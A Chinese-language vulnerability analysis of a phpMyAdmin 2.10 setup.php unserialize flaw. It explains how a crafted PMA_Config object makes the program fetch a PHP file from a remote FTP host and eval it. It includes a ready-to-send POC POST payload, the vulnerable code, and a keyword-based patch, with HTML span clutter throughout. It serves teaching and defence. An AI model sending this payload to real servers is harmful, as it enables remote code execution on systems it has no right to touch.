目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 1 . " /scripts/setup.php " 会接收用户发送的序列化POST数据action =lay_navigationeoltype=unixtoken=ec4c4c184a
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
对这个漏洞简单的概括如下
<span>1</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span><span>会接收用户发送的序列化POST数据 action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D </span><span>/*</span><span> token要动态获取 action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}} </span><span>*/</span> <span>2</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span>会对<span>"</span><span>$_POST['configuration']</span><span>"</span><span>进行反序列化 setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测 </span><span>3</span>. 黑客可以在POST数据中注入<span>"</span><span>序列化后的PMA_Config对象</span><span>"</span><span> setup.php在反序列化一个</span><span>"</span><span>序列化后的PMA_Config对象</span><span>"</span>的时候,会对这个对象进行<span>"</span><span>重新初始化</span><span>"</span><span>,即再次调用它的构造函数 function __construct($source </span>= <span>null</span><span>) { $</span><span>this</span>->settings =<span> array(); </span><span>//</span><span> functions need to refresh in case of config file changed goes in </span><span>//</span><span> PMA_Config::load()</span> $<span>this</span>-><span>load($source); </span><span>//</span><span> other settings, independant from config file, comes in</span> $<span>this</span>-><span>checkSystem(); $</span><span>this</span>-><span>checkIsHttps(); } </span><span>4</span>. PMA_Config对象的构造函数会重新引入<span>"</span><span>$source</span><span>"</span>对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量<span>"</span><span>本地变量注册化</span><span>"</span><span> function load($source </span>= <span>null</span><span>) { $</span><span>this</span>-><span>loadDefaults(); </span><span>if</span> (<span>null</span> !==<span> $source) { $</span><span>this</span>-><span>setSource($source); } </span><span>if</span> (! $<span>this</span>-><span>checkConfigSource()) { </span><span>return</span> <span>false</span><span>; } $cfg </span>=<span> array(); </span><span>/*</span><span>* * Parses the configuration file </span><span>*/</span><span> $old_error_reporting </span>= error_reporting(<span>0</span><span>); </span><span>//</span><span>使用eval方式引入外部的配置文件</span> <span>if</span> (function_exists(<span>'</span><span>file_get_contents</span><span>'</span><span>)) { $eval_result </span>= eval(<span>'</span><span>?></span><span>'</span> . trim(file_get_contents($<span>this</span>-><span>getSource()))); } </span><span>else</span><span> { $eval_result </span>=<span> eval(</span><span>'</span><span>?></span><span>'</span> . trim(implode(<span>"</span><span>\n</span><span>"</span>, file($<span>this</span>-><span>getSource())))); } error_reporting($old_error_reporting); </span><span>if</span> ($eval_result === <span>false</span><span>) { $</span><span>this</span>->error_config_file = <span>true</span><span>; } </span><span>else</span><span> { $</span><span>this</span>->error_config_file = <span>false</span><span>; $</span><span>this</span>->source_mtime = filemtime($<span>this</span>-><span>getSource()); } ...</span>
最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE
Relevant Link:
http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span> http:<span>//</span><span>drops.wooyun.org/papers/596</span> http:<span>//</span><span>drops.wooyun.org/tips/3909</span> http:<span>//</span><span>blog.csdn.net/cnbird2008/article/details/7491216</span>
2. 漏洞触发条件
0x1: POC
token需要动态获取
<span>1</span><span>. POST http:</span><span>//</span><span>localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php</span> <span>2</span><span>. DATA action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D </span><span>/*</span><span> source要是一个外部的文本文件,需要返回的是原生的PHP代码 a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}} </span><span>*/</span>
3. 漏洞影响范围
<span>1</span>. phpmyadmin <span>2.10</span> <span>2</span>. 2.10
4. 漏洞代码分析
0x1: PHP serialize && unserialize
关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章
http:<span>//</span><span>www.cnblogs.com/LittleHann/p/4242535.html</span>
0x2: "/scripts/setup.php"
<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) { </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span> $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]); } </span><span>else</span><span> { </span><span>//</span><span> Start with empty configuration</span> $configuration =<span> array(); }</span>
漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间
0x3: \libraries\Config.class.php
<span>/*</span><span>* * re-init object after loading from session file * checks config file for changes and relaods if neccessary </span><span>*/</span><span> function __wakeup() { </span><span>//</span><span>在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数</span> <span>if</span> (! $<span>this</span>-><span>checkConfigSource() </span>|| $<span>this</span>->source_mtime !== filemtime($<span>this</span>-><span>getSource()) </span>|| $<span>this</span>->default_source_mtime !== filemtime($<span>this</span>-><span>default_source) </span>|| $<span>this</span>-><span>error_config_file </span>|| $<span>this</span>-><span>error_config_default_file) { $</span><span>this</span>->settings =<span> array(); $</span><span>this</span>-><span>load(); $</span><span>this</span>-><span>checkSystem(); } </span><span>//</span><span> check for https needs to be done everytime, </span><span>//</span><span> as https and http uses same session so this info can not be stored </span><span>//</span><span> in session</span> $<span>this</span>-><span>checkIsHttps(); $</span><span>this</span>-><span>checkCollationConnection(); $</span><span>this</span>-><span>checkFontsize(); }</span>
5. 防御方法
0x1: Apply Patch
<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) { $configuration </span>=<span> array(); </span><span>//</span><span>协议的匹配忽略大小写</span> <span>if</span> ( (strpos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>PMA_Config</span><span>"</span>) !== <span>false</span>) && ( (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>ftp://</span><span>"</span>) !== <span>false</span>) || (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>http://</span><span>"</span>) !== <span>false</span><span>) ) ) { $configuration </span>=<span> array(); } </span><span>else</span><span> { </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span> $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]); } } </span><span>else</span><span> { </span><span>//</span><span> Start with empty configuration</span> $configuration =<span> array(); }</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved